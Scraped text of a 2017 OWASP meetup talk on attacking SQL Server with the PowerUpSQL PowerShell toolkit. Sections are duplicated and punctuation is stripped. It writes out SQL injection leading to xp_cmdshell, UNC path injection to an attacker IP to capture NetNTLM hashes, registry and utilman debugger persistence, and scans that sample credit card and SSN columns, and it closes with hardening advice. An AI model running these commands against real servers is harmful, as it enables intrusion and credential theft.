Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 53: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

PURE EVIL

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure

bull Stored procedures ca be configured to execute when the SQL Server service restarts

Prosbull Marking a stored procedure to run when the SQL

Server service restarts has many use casesbull Only stored procedures in the master database

can be marked for auto execution

Consbull No granular control over what context the startup

command is executed inbull All stored procedures marked for auto execution

are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures

can lead to execution as lsquosarsquo

Escalating Privileges DEMO

DEMOInvoke-SQLAudit

Escalating Privileges Invoke-SQLPrivEsc

Whooray for Automation Demo

>

Escalating Privileges DEMO

DEMOInvoke-SQLEscalatePriv

Escalating Privileges Invoke-SQLPrivEsc

DEMO

>

EscalatingPrivileges

SysAdmin to Service Account

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

Executing OS Commands xp_cmdshell Custom Assemblies (net) httpsekirkitycomseeclrly-fileless-sql-server-clr-based-custom-stored-procedure-command-execution Custom Extended Stored Procedures (C++) Agent Jobs httpswwwoptivcomblogmssql-agent-jobs-for-command-execution

o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package

Registry Autoruns File Autoruns

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

You donrsquot need to know the password crack a hash or PTH

Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin

Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016

bull We can now escalation from service account to LocalSystem

bull No patch that Irsquom aware of

bull Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)

Blog

httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system

Code

httpsgithubcomfoxglovesecRottenPotato

Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution

PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc

EscalatingPrivileges

Shared Service Accounts

Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts

1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them

One account to rule them all

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Access to HVA with shared domain service account

Key

HVA = High Value Application

LVA = Low Value Application

Execute commands and gather data from other

database servers via osql

3

Leveraging Shared MS SQL Server Service Accounts

EscalatingPrivileges

Crawling SQL Server Links

Escalating Privileges Crawling SQL Server LinksWhatrsquos a SQL Server link

SQL Server links are basically persistent database connections for SQL Servers

Why should I care

Short answer = privilege escalation

Public role can use links to execute queries on remote servers (impersonation)

SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)

Stored procedures can be executed (xp_cmdshell)

Links can be crawled

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain EvilKey

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB Link with

SA account

DB1

LVA

Execute SQL queries and local commands on

database servers via nested linked services

2

Escalating Privileges Crawling SQL Server Links

Penetration Test Stats

Database links exist (and can be crawled) in about 50 of environments wersquove seen

The max number of hops wersquove seen is 12

The max number of servers crawled is 226

Escalating Privileges Crawling Server Links

Old Script

Released 2012 httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler

New Functions

Author Antti Rantasaari httpsblognetspicomsql-server-link-crawling-powerupsql

Escalating Privileges Crawling Server LinksFunction Description

Get-SQLServerLink Get a list of SQL Server Link on the server

Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command execution

Examples

Get-SQLServerLinkCrawl -verbose -instance 1029101SQLSERVER2008ldquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoselect from mastersysdatabasesrdquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoexec masterxp_cmdshell lsquowhoamirsquordquo

Escalating Privileges Crawling Server Links

DEMO

Escalating Privileges Database Links

DEMO

>

Escalating Privileges Crawling Server Links

EscalatingPrivileges

UNC Path Injection

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 54: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

PURE EVIL

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure

bull Stored procedures ca be configured to execute when the SQL Server service restarts

Prosbull Marking a stored procedure to run when the SQL

Server service restarts has many use casesbull Only stored procedures in the master database

can be marked for auto execution

Consbull No granular control over what context the startup

command is executed inbull All stored procedures marked for auto execution

are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures

can lead to execution as lsquosarsquo

Escalating Privileges DEMO

DEMOInvoke-SQLAudit

Escalating Privileges Invoke-SQLPrivEsc

Whooray for Automation Demo

>

Escalating Privileges DEMO

DEMOInvoke-SQLEscalatePriv

Escalating Privileges Invoke-SQLPrivEsc

DEMO

>

EscalatingPrivileges

SysAdmin to Service Account

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

Executing OS Commands xp_cmdshell Custom Assemblies (net) httpsekirkitycomseeclrly-fileless-sql-server-clr-based-custom-stored-procedure-command-execution Custom Extended Stored Procedures (C++) Agent Jobs httpswwwoptivcomblogmssql-agent-jobs-for-command-execution

o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package

Registry Autoruns File Autoruns

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

You donrsquot need to know the password crack a hash or PTH

Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin

Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016

bull We can now escalation from service account to LocalSystem

bull No patch that Irsquom aware of

bull Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)

Blog

httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system

Code

httpsgithubcomfoxglovesecRottenPotato

Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution

PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc

EscalatingPrivileges

Shared Service Accounts

Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts

1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them

One account to rule them all

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Access to HVA with shared domain service account

Key

HVA = High Value Application

LVA = Low Value Application

Execute commands and gather data from other

database servers via osql

3

Leveraging Shared MS SQL Server Service Accounts

EscalatingPrivileges

Crawling SQL Server Links

Escalating Privileges Crawling SQL Server LinksWhatrsquos a SQL Server link

SQL Server links are basically persistent database connections for SQL Servers

Why should I care

Short answer = privilege escalation

Public role can use links to execute queries on remote servers (impersonation)

SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)

Stored procedures can be executed (xp_cmdshell)

Links can be crawled

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain EvilKey

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB Link with

SA account

DB1

LVA

Execute SQL queries and local commands on

database servers via nested linked services

2

Escalating Privileges Crawling SQL Server Links

Penetration Test Stats

Database links exist (and can be crawled) in about 50 of environments wersquove seen

The max number of hops wersquove seen is 12

The max number of servers crawled is 226

Escalating Privileges Crawling Server Links

Old Script

Released 2012 httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler

New Functions

Author Antti Rantasaari httpsblognetspicomsql-server-link-crawling-powerupsql

Escalating Privileges Crawling Server LinksFunction Description

Get-SQLServerLink Get a list of SQL Server Link on the server

Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command execution

Examples

Get-SQLServerLinkCrawl -verbose -instance 1029101SQLSERVER2008ldquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoselect from mastersysdatabasesrdquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoexec masterxp_cmdshell lsquowhoamirsquordquo

Escalating Privileges Crawling Server Links

DEMO

Escalating Privileges Database Links

DEMO

>

Escalating Privileges Crawling Server Links

EscalatingPrivileges

UNC Path Injection

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

